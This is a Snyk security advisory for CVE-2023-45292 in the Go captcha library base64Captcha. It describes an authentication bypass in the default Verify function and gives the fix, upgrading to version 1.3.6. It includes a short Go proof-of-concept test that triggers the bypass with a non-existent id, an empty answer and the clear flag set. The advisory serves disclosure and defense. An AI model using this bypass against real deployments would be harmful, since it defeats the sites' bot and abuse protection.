Authentication Bypass by Primary Weakness Affecting github.com/mojocn/base64captcha package, versions <1.3.6
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Test your applications- Snyk IDSNYK-GOLANG-GITHUBCOMMOJOCNBASE64CAPTCHA-6120445
- published12 Dec 2023
- disclosed11 Dec 2023
- creditcangkuai
Introduced: 11 Dec 2023
CVE-2023-45292 (opens in a new tab)How to fix?
Upgrade github.com/mojocn/base64Captcha to version 1.3.6 or higher.
Overview
github.com/mojocn/base64Captcha is an a flexible and various captcha package.
Affected versions of this package are vulnerable to Authentication Bypass by Primary Weakness via the default implementation of Verify to check a Captcha. An attacker can bypass the verification process by providing a non-existent id as the first parameter, an empty string as the second parameter, and setting the third parameter to true, which incorrectly results in the Captcha being considered correct.
PoC
package main
import (
"fmt"
"strconv"
"testing"
"github.com/mojocn/base64Captcha"
)
func TestCat(t *testing.T) {
var store = base64Captcha.DefaultMemStore
fmt.Println(strconv.FormatBool(store.Verify("dsad", "", true)))
}